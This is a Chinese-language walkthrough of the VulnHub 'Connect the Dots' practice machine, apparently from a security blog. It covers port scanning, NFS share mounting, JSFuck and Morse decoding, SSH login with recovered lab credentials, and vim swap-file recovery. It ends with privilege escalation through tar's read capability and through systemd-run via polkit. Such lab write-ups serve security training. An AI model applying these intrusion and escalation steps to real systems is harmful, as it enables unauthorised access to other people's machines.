🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
二、渗透测试+信息收集
1、FTP+NFS服务渗透
NFS渗透
FTP渗透
2、web渗透
目录扫描
norris ssh登录
3、vim读取断电swp文件
三、提权
1、tar文件能力读取root.txt
2、suit之polkit利用提权
前言
靶机精讲之CONNECT THE DOTS ,又一台考验你的知识面的机器,至少涉及jsfuck、nfs、ftp多文件读取、getcap获取文件能力、polkit、文件图片隐写、莫尔斯码和断电隐患等知识,如果不理解这些知识点,你可能玩不转这台靶机。加油吧,少年。
一、信息收集
1、主机探测
发现靶机的IP地址是192.168.103.156
┌──(root💀kali)-[~]
└─# arp-scan -l
2、端口扫描
扫描发现靶机开放了21、80、111、2049、7822、39963、41123、51467、52437端口,21端口的FTP和2049端口的NFS我们可以优先查看,然后再看80的web服务。
┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.103.156
其中下面这几个端口都是为NFS服务开启的
39963 端口上运行着 mountd 服务,该服务针对 RPC 编号为 100005
41123 端口上运行着 nlockmgr 服务,该服务针对 RPC 编号为 100021
51467 和 52437 端口上也运行着 mountd 服务,同样针对 RPC 编号为 100005
再利用nmap扫描UDP端口,查看有什么新发现没用,UDP端口也是2049端口的NFS服务,这就说明我们需要去重点查看下,看看有什么共享文件给我们提示。
┌──(root💀kali)-[~]
└─# nmap -sU --top-port 40 192.168.103.156
3、漏洞扫描
漏洞扫描发现这个靶机的一些可能存在的漏洞,比如sql、xss、csrf,以及扫描到了一些目录,我们都可以去尝试访问下,但是我们目前还有很多的地方没有去渗透测试,我们后面如果没有什么突破了,我们可以尝试到时候倒过来。
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80,111,7822,2049 192.168.103.156
二、渗透测试+信息收集
1、FTP+NFS服务渗透
NFS渗透
要在Kali Linux上查看已共享的NFS文件,你可以执行以下步骤:
- 首先,确保你的Kali Linux系统上已安装了
nfs-common
包。如果没有安装,你可以使用以下命令进行安装:
sudo apt update
sudo apt install nfs-common
- 接下来,使用以下命令来查看可用的NFS共享:
showmount -e <NFS服务器IP地址>
-e表示exports,可以看到共享目录是/home/morris
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址。运行该命令后,你将看到NFS服务器上共享的目录列表。
- 如果要挂载NFS共享到本地目录以访问文件,可以使用以下命令:
sudo mount <NFS服务器IP地址>:<共享目录> <本地目录>
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址,<共享目录>替换为希望共享的目录路径,<本地目录>替换为将共享目录挂载到的本地目录路径。
成功挂载后,你将能够在本地目录中访问和操作NFS共享的文件。
这里要注意了,如果你这里的kali使用的是root权限,那么在那个挂载目录没法读取。
在NFS服务器上有个配置文件/etc/exports,里面是这样的:/home/morris *(ro,root_squash),这样就限制了root用户的访问权限,但是其他用户不会受到影响,所以root用户没法读取.ssh文件的内容。
所以这里我们直接切换到kali用户,我们发现.ssh文件下面又两个钥匙,一个公钥和一个私钥,我们这里下面可以尝试使用私钥进行openssl私钥免密码登录。
我们再cat id_rsa.pub文件的时候,发现私钥的账户是:morris
尝试利用私钥进行登录,发现竟然要输入密码,目前我们只能访求这个方向了,再后面看看能不能找到这个密码,然后再ssh尝试登录下。
FTP渗透
ftp尝试利用匿名登录,发现失败了,说明目前ftp这条路也失败了。
2、web渗透
直接访问80端口,进行信息收集,但是web页面上没有发现什么有价值的信息
右击查看源代码,也没有发现什么有价值的信息
目录扫描
利用工具gobuster扫描发现好多的目录,我们进行挨个访问收集信息。
┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.103.156 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/manual目录,是个apache的网页,没有什么价值
/backups目录,是一个搞笑的动态表情包,没有什么价值
/mysite目录下,有很多的文件,我们进行挨个访问,
后来发现这两个的内容对于渗透测试来说,还是有点价值的,
register.html目录下,是一个登录页面,目前还没有账号密码登录,不过我们可以尝试弱口令,但是没有效果,我们放到后面去进行测试。
bootstrap.min.cs文件里面的是CTF比赛中碰到过的一种jsfuck编码,我们看到的由一大堆!+组成编码的字符其实是jsfuck,这是一种针对javascript程序的混淆方法。
我们需要把里面的除了由 !+ 组成的符号全部删掉,然后进行解码:
JSFuck - Write any JavaScript with 6 Characters: []()!+
这里提示我们说,TryToGuessThisNorris@2k19是个密码,也就是密码的意思,那账号是什么呢?细看TryToGuessThisNorris@2k19,我们猜测里面有个账号是norris,我们后面可以进行验证。
norris ssh登录
账号:norris ; 密码:TryToGuessThisNorris@2k19
┌──(root💀kali)-[~/桌面/nfsdir]
└─# ssh norris@192.168.103.156 -p 7822 255 ⨯ 1 ⚙
norris@192.168.103.156's password:
Linux sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
###
# # # # ##### # ## ##### # # # ####
# ## # # # # # # # # ## # # #
# # # # # # # # # # # # # # #
# # # # # # # ###### # # # # # # ###
# # ## # # # # # # # # ## # #
### # # # # # # # # # # # ####
Last login: Sat Mar 2 14:50:42 2024 from 192.168.103.129
norris@sirrom:~$ id
uid=1001(norris) gid=1001(norris) groups=1001(norris),27(sudo)
norris@sirrom:~$ whoami
norris
user.txt被我们找到了
norris@sirrom:~$ ls
ftp user.txt
norris@sirrom:~$ cat user.txt
2c2836a138c0e7f7529aa0764a6414d0
我们发现,我们开始想尝试登录FTP服务查找文件,发现这里直接可以找到,我们进行利用python3开启http服务,然后下载到我们本地查看。
norris@sirrom:~/ftp/files$ python3 -m http.server 1234
┌──(root??kali)-[~/桌面]
└─# wget http://192.168.103.156:1234/game.jpg.bak
利用file和string命令进行对所以bak文件进行查看,发现game.jpg.bak里面的是摩斯密码
file *.bak
strings *.bak |more
.... . -.-- ....... -. --- .-. .-. .. ... --..-- ....... -.-- --- ..- .----. ...- . ....... -- .- -.. . ....... - .... .. ... ....... ..-. .- .-. .-.-.- ....... ..-. .- .-. ....... ..-. .- .-. ....... ..-. .-. --- -- ....... .... . .- ...- . -. ....... .-- .- -. -. .- ....... ... . . ....... .... . .-.. .-.. ....... -. --- .-- ..--.. ....... .... .- .... .- ....... -.-- --- ..- ....... ... ..- .-. . .-.. -.-- ....... -- .. ... ... . -.. ....... -- . --..-- ....... -.. .. -.. -. .----. - ....... -.-- --- ..- ..--.. ....... --- .... ....... -.. .- -- -. ....... -- -.-- ....... -... .- - - . .-. -.-- ....... .. ... ....... .- -... --- ..- - ....... - --- ....... -.. .. . ....... .- -. -.. ....... .. ....... .- -- ....... ..- -. .- -... .-.. . ....... - --- ....... ..-. .. -. -.. ....... -- -.-- ....... -.-. .... .- .-. --. . .-. ....... ... --- ....... --.- ..- .. -.-. -.- .-.. -.-- ....... .-.. . .- ...- .. -. --. ....... .- ....... .... .. -. - ....... .. -. ....... .... . .-. . ....... -... . ..-. --- .-. . ....... - .... .. ... ....... ... -.-- ... - . -- ....... ... .... ..- - ... ....... -.. --- .-- -. ....... .- ..- - --- -- .- - .. -.-. .- .-.. .-.. -.-- .-.-.- ....... .. ....... .- -- ....... ... .- ...- .. -. --. ....... - .... . ....... --. .- - . .-- .- -.-- ....... - --- ....... -- -.-- ....... -.. ..- -. --. . --- -. ....... .. -. ....... .- ....... .----. ... . -.-. .-. . - ..-. .. .-.. . .----. ....... .-- .... .. -.-. .... ....... .. ... ....... .--. ..- -... .-.. .. -.-. .-.. -.-- ....... .- -.-. -.-. . ... ... .. -... .-.. . .-.-.-
对莫斯密码进行解密:
Morse Code Translator - Morse Decoder
我们把#去掉,然后进行翻译,寻找线索
┌──(root💀kali)-[~/桌面/ftp_bak]
└─# echo "HEY#NORRIS,#YOU'VE#MADE#THIS#FAR.#FAR#FAR#FROM#HEAVEN#WANNA#SEE#HELL#NOW?#HAHA#YOU#SURELY#MISSED#ME,#DIDN'T#YOU?#OH#DAMN#MY#BATTERY#IS#ABOUT#TO#DIE#AND#I#AM#UNABLE#TO#FIND#MY#CHARGER#SO#QUICKLY#LEAVING#A#HINT#IN#HERE#BEFORE#THIS#SYSTEM#SHUTS#DOWN#AUTOMATICALLY.#I#AM#SAVING#THE#GATEWAY#TO#MY#DUNGEON#IN#A#'SECRETFILE'#WHICH#IS#PUBLICLY#ACCESSIBLE."| sed 's/#//g'
HEYNORRIS,YOU'VEMADETHISFAR.FARFARFROMHEAVENWANNASEEHELLNOW?HAHAYOUSURELYMISSEDME,DIDN'TYOU?OHDAMNMYBATTERYISABOUTTODIEANDIAMUNABLETOFINDMYCHARGERSOQUICKLYLEAVINGAHINTINHEREBEFORETHISSYSTEMSHUTSDOWNAUTOMATICALLY.IAMSAVINGTHEGATEWAYTOMYDUNGEONINA'SECRETFILE'WHICHISPUBLICLYACCESSIBLE.
这段话意思说他的电池很快就没电了,他就要ger~了,于是火速给我们留下一个信息,他把关键的信息secretfile放在了公共的区域。那啥是公共的区域呢?最容易想到的就是web的目录/var/www/html。
我们发现,/var/www/html目录下,还真有secretfile文件,我们查看下这个文件的内容
I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference.
意思是:我知道你来到这里是找密码的。电池就要没电啦!下面的信息有些参考。
下面的信息在哪里?我们看到最后还有一个.secretfile.swp文件,
发现查看不了这个文件,因为这个是在web目录的http服务中,所以我们这里可以直接下载.secretfile.swp文件
┌──(root💀kali)-[~/桌面/ftp_bak]
└─# wget http://192.168.103.156/.secretfile.swp
3、vim读取断电swp文件
我们利用file和string,都显示这个文件与vim有关,然后前面又说了什么没电了,然后使用vim编辑,这一想,我们可以猜测他是不是利用vim编辑时断点异常退出产生的,那么我们就可以再利用vim进行把断电的编辑文件恢复。
说明vim利用-r参数,就是可以恢复断电编辑的swp文件了。
发现了一个应该是密码的东西:blehguessme090,一想到密码,我们就想到开始利用openssl私钥登录morris用户的时候,要用密码,说不定这个就是morris用户的密码呢,我们尝试利用ssh登录下。
┌──(root💀kali)-[~/桌面/ftp_bak]
└─# vim -r .secretfile.swp
但是登录成功后,发现这个用户里面的文件,没有找到提权的方法,甚至说这个用户的权限都没有sudo,反而开始的用户还有sudo权限,所以我们还是把重点放回到原来的用户norris上。
┌──(root??kali)-[~/桌面/ftp_bak]
└─# ssh morris@192.168.103.156 -p 7822
三、提权
1、tar文件能力读取root.txt
使用getcap工具读取有没有文件具有特殊的文件能力
norris@sirrom:/var/www/html$ /sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/tar
:具有 cap_dac_read_search
权限。这可能意味着 tar
可以读取文件系统中用户没有权限访问的文件。
那我们直接用tar把/root目录打包,然后再解压就可以看到flag即root.txt:
tar -zcvf root.tar.gz /root
tar -zxvf root.tar.gz
2、suit之polkit利用提权
查看具有SUID权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1,并且都具有root权限
polkit是linux系统中针对文件权限管理的一套机制,而helper相当于是充当一个介于操作者与被操作文件的一个中介,会通过这个helper去调用执行文件。因此如果我们能够借助helper的高权限,以root的身份调用bash,即可实现提权。可以通过如下的命令实现触发polkit-agent-helper-1,并借用polkit-agent-helper-1的root高权限启动bash进行提权。
可以使用systemd-run -r启动伪终端,此时会通过polkit-agent-helper-1启动,而polkit-agent-helper-1具有高权限,因此就有可能实现提权。
我们执行下面的命令后,再输入TryToGuessThisNorris@2k19登录的凭证,就可以成功提权到root权限了。
systemd-run -t /bin/bash